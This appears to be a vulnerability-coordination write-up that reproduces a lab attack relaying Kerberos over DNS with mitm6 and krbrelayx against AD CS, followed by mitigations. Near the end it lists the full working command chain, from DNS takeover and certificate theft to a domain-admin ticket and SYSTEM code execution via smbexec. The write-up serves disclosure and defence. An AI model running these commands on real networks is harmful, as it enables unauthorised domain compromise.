Overview
Dirk-jan Mollema published a blog post that shows how an attacker on the same (V)LAN as a machine connected to an active directory where an AD CS server is present can obtain a kerberos ticket to impersonate a domain admin on the victim system: https://dirkjanm.io/relaying-kerberos-over-dns-with-krbrelayx-and-mitm6/
Using the steps outlined, an attacker can execute code with SYSTEM
privileges on the victim system.
This post has some further details as to what's going on with this attack.
Components Used
Machines
Reproducing this vulnerability will take 4 machines:
Software
The following software should be present on the attacker's Linux box:
https://github.com/dirkjanm/mitm6
https://github.com/dirkjanm/krbrelayx
https://github.com/dirkjanm/PKINITtools
https://github.com/SecureAuthCorp/impacket
I used a CERT Tapioca VM as the attacker's machine, but that also required that I made sure that IPv6 was enabled, and also that the firewall was disabled on the WAN side:
sudo iptables -F sudo iptables -P INPUT ACCEPT
Hosts
For the materials in this writeup, the following hosts/domain is used:
Domain name: wd.local
Domain controller: WIN-6ERMGJ5ECLO.wd.local
(192.168.3.1)
AD CS server: adcs.wd.local
(192.168.3.103)
Victim (domain-joined) host: win10.wd.local
(192.168.3.108)
Domain admin account: Administrator@wd.local
Attacker's system: 192.168.3.100
The attack flow
The flow of events in this attack can be summarized in the following animation:
Reproducing the attack
Advertisement of malicious DNS server via mitm6
mitm6 is a utility that can leverage DHCPv6 to coerce a Windows host on an IPv4 network to use an arbitrary DNS server.
The victim machine asks the LAN if anybody is providing DHCPv6 for settings, including which DNS server to use:
And the machine running mitm6
says to the victim that it should be used for DNS requests:
Handling of Dynamic Update from victim
When the victim system attempts to perform a DNS update, e.g. when it first powers on, mitm6
will refuse the update:
To deal with this refusal, the victim will talk to the domain controller to get a kerberos ticket so that it can try again with authority.
Capturing the kerberos ticket from the authenticated DNS dynamic update
Armed with the kerberos ticket for the victim machine, the victim begins a negotiation with the malicious DNS server to prove that it should be allowed to perform a DNS dynamic update.
At this point, krbrelayx
comes into play. When the kerberos-authenticated DNS request comes in, krbrelayx
notices and grabs the kerberos ticket:
Getting a machine account certificate using our kerberos ticket
With a valid kerberos ticket in hand, the request to the AD CS server can be made into an authorized one:
Because the AD CS server answers our request with an HTTP 200, we know that the authorization worked. So it's time to request a certificate!
On the wire, it looks like this:
Once the AD CS server responds, the certificate is ready, and we can pick it up:
From the perspective of krbrelayx
:
This certificate is for the win10.wd.local
machine account.
Upgrading our machine account certificate to a domain admin account ticket on victim
We can now use gettgtpkinit.py
from PKINITtools to get a TGT using our win10.wd.local
machine account certificate:
Now with this TGT, saved as win10.ccache
, we can go one step further to get a ticket for the domain admin account on the victim system, Administrator@wd.local
, which we save as admin.ccache
.
Confirming our ticket
Now that we have what should be the domain administrator's kerberos ticket, let's try using it with the smbclient.py
utility from impacket. Note that this strategy assumes that our victim system, win10.wd.local
has a network-accessible share.
We are able to view the contents of the protected windows\system32\config
directory, which a normal user cannot do.
Along these same lines, we can use the same ticket to execute arbitrary code on the victim machine with SYSTEM
privileges by using the smbexec.py
script:
Summary of commands
Just to keep things together, and not in screenshot form, here are the commands that we used (in order) for our particular experiment:
# mitm6 --domain wd.local --host-allowlist win10.wd.local --relay adcs.wd.local -v # ./krbrelayx.py --target http://adcs.wd.local/certsrv/ -ip 192.168.3.100 --victim win10.wd.local --adcs --template Machine (Power on Win10 VM, or just wait if it's already on) (Save certificate output as cert.txt) $ python gettgtpkinit.py -pfx-base64 $(cat cert.txt) wd.local/win10$ win10.ccache -dc-ip 192.168.3.1 $ python gets4uticket.py kerberos+ccache://wd.local\\win10\$:win10.ccache@WIN-6ERMGJ5ECLO.wd.local cifs/win10.wd.local@wd.local Administrator@wd.local admin.ccache $ KRB5CCNAME=admin.ccache python ~/in/impacket/examples/smbclient.py -k wd.local/Administrator@win10.wd.local -no-pass $ KRB5CCNAME=admin.ccache python ~/in/impacket/examples/smbexec.py -k wd.local/Administrator@win10.wd.local -no-pass
Full packet capture
While not the exact traffic used to obtain the above screenshots, a packet capture of this entire attack chain (and also some irrelevant traffic) is available here:
Relevant hosts in this capture include:
Name | Role | IPv4 | IPv6 |
---|---|---|---|
WIN-6ERMGJ5ECLO | Domain Controller | 192.168.3.1 | fe80::8914:c3e8:b7d9:e8ae |
ADCS | Active Directory Certificate Services | 192.168.3.103 | fe80::2531:5a7b:adb4:4ed5 |
win10 | Victim | 192.168.3.108 | fe80::ac96:beed:99ce:d8d9 fe80::192:168:3:108 |
tapioca | Attacker | 192.168.3.100 | fe80::20c:29ff:fe1c:758a |
Protecting against this attack
Enable Extended Protection for Authentication and Require SSL on AD CS systems
When CERT published VU#405600 about the PetitPotam attack chain on AD CS, we recommended enabling Extended Protection for Authentication (EPA) for AD CS systems. If you had deployed this mitigation already, congratulations. You don't have to worry about the attack described above.
Block DHCPv6 and ICMPv6 on networks that only use IPv4
If you have a network where IPv6 is not being used, blocking DHCPv6 and ICMPv6 on all hosts can be used to prevent the mitm6
component of the above attack. With the Windows firewall, this involves setting the following rules to block:
- (Inbound) Core Networking - Dynamic Host Configuration Protocol for IPv6(DHCPV6-In)
- (Inbound) Core Networking - Router Advertisement (ICMPv6-In)
- (Outbound) Core Networking - Dynamic Host Configuration Protocol for IPv6(DHCPV6-Out)